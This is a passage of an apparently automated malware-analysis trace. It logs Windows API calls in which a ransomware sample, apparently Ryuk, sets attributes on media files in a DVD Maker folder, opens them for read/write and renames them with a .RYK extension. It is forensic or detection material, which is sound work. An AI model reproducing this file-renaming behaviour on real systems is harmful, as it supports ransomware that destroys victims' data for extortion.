	[0178.428] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 830
	os_tid = 0x13f4

	[0178.430] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0178.430] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0178.431] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0178.431] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 831
	os_tid = 0x13f8

	[0178.433] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png", dwFileAttributes=0x80) returned 0
	[0178.585] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\vintage.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0178.595] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0178.595] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\vintage.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\vintage.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 832
	os_tid = 0x13fc

	[0179.020] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png", dwFileAttributes=0x80) returned 0
	[0179.241] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\720x480blacksquare.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0179.241] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0179.242] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\720x480blacksquare.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\720x480blacksquare.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 833
	os_tid = 0x69c

	[0179.025] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIcon.png", dwFileAttributes=0x80) returned 0
	[0179.243] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0179.244] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0179.244] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttonicon.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIcon.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttonicon.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 834
	os_tid = 0xba4

	[0179.026] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIconSubpictur.png", dwFileAttributes=0x80) returned 0
	[0179.245] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIconSubpictur.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttoniconsubpictur.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0179.246] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0179.246] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIconSubpictur.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttoniconsubpictur.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIconSubpictur.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttoniconsubpictur.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 835
	os_tid = 0xd8c

	[0179.027] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv", dwFileAttributes=0x80) returned 0
	[0179.248] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0179.248] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0179.248] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 836
	os_tid = 0xdb8

	[0179.029] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop_PAL.wmv", dwFileAttributes=0x80) returned 0
	[0179.249] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0179.250] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0179.250] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop_PAL.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop_pal.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 837
	os_tid = 0xcc0

	[0179.030] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png", dwFileAttributes=0x80) returned 0
	[0179.251] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0179.252] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0179.252] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttonicon.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttonicon.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 838
	os_tid = 0xda0

	[0179.032] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png", dwFileAttributes=0x80) returned 0
	[0179.253] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttoniconsubpict.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0179.254] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0179.254] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttoniconsubpict.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttoniconsubpict.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 839
	os_tid = 0xe50

	[0179.033] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png", dwFileAttributes=0x80) returned 0
	[0179.255] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\performance.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0179.256] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0179.256] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\performance.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\performance.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 840
	os_tid = 0xda8

	[0179.035] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png", dwFileAttributes=0x80) returned 0
	[0179.258] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_mask1.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0179.258] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0179.258] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_mask1.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_mask1.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 841
	os_tid = 0xd34

	[0179.259] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png", dwFileAttributes=0x80) returned 0
	[0179.260] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_subpicture1.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0179.260] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0179.260] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_subpicture1.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_subpicture1.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 842
	os_tid = 0xd44

	[0179.262] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png", dwFileAttributes=0x80) returned 0
	[0179.262] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0179.262] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0179.262] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttonicon.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttonicon.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 843
	os_tid = 0xdd4

	[0179.264] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIconSubpi.png", dwFileAttributes=0x80) returned 0
	[0179.422] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIconSubpi.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttoniconsubpi.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0179.571] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0179.572] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIconSubpi.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttoniconsubpi.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIconSubpi.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttoniconsubpi.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 844
	os_tid = 0xd6c

	[0179.266] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\redmenu.png", dwFileAttributes=0x80) returned 0
	[0179.423] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\redmenu.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\redmenu.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0179.570] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0179.570] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\redmenu.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\redmenu.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\redmenu.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\redmenu.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 845
	os_tid = 0xd84

	[0179.267] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop.wmv", dwFileAttributes=0x80) returned 0
	[0179.424] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0179.424] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0179.424] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 846
	os_tid = 0xdb0

	[0179.268] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop_PAL.wmv", dwFileAttributes=0x80) returned 0
	[0179.270] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0179.270] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0179.270] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop_PAL.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop_pal.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 847
	os_tid = 0xb68

	[0179.272] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonIcon.png", dwFileAttributes=0x80) returned 0
	[0179.273] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0179.273] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0179.274] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonicon.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonIcon.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonicon.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 848
	os_tid = 0xd88

	[0179.275] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonSubpicture.png", dwFileAttributes=0x80) returned 0
	[0179.275] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0179.276] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0179.276] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 849
	os_tid = 0xdb4

	[0179.426] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv", dwFileAttributes=0x80) returned 0
	[0179.426] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0179.426] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0179.427] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 850
	os_tid = 0xc48

	[0179.428] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv", dwFileAttributes=0x80) returned 0
	[0179.428] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0179.429] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0179.429] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 851
	os_tid = 0xcbc

	[0179.431] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_notes.wmv", dwFileAttributes=0x80) returned 0
	[0179.573] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_notes.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0179.721] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0179.722] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_notes.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_notes.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 852
	os_tid = 0xd74

	[0179.433] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Notes_PAL.wmv", dwFileAttributes=0x80) returned 0
	[0179.574] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Notes_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0179.712] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0179.712] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Notes_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Notes_PAL.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes_pal.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 853
	os_tid = 0xcc4

	[0179.434] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_scene.wmv", dwFileAttributes=0x80) returned 0
	[0179.574] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_scene.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0179.709] CloseHandle (hObject=0xffffffffffffffff) returned 0
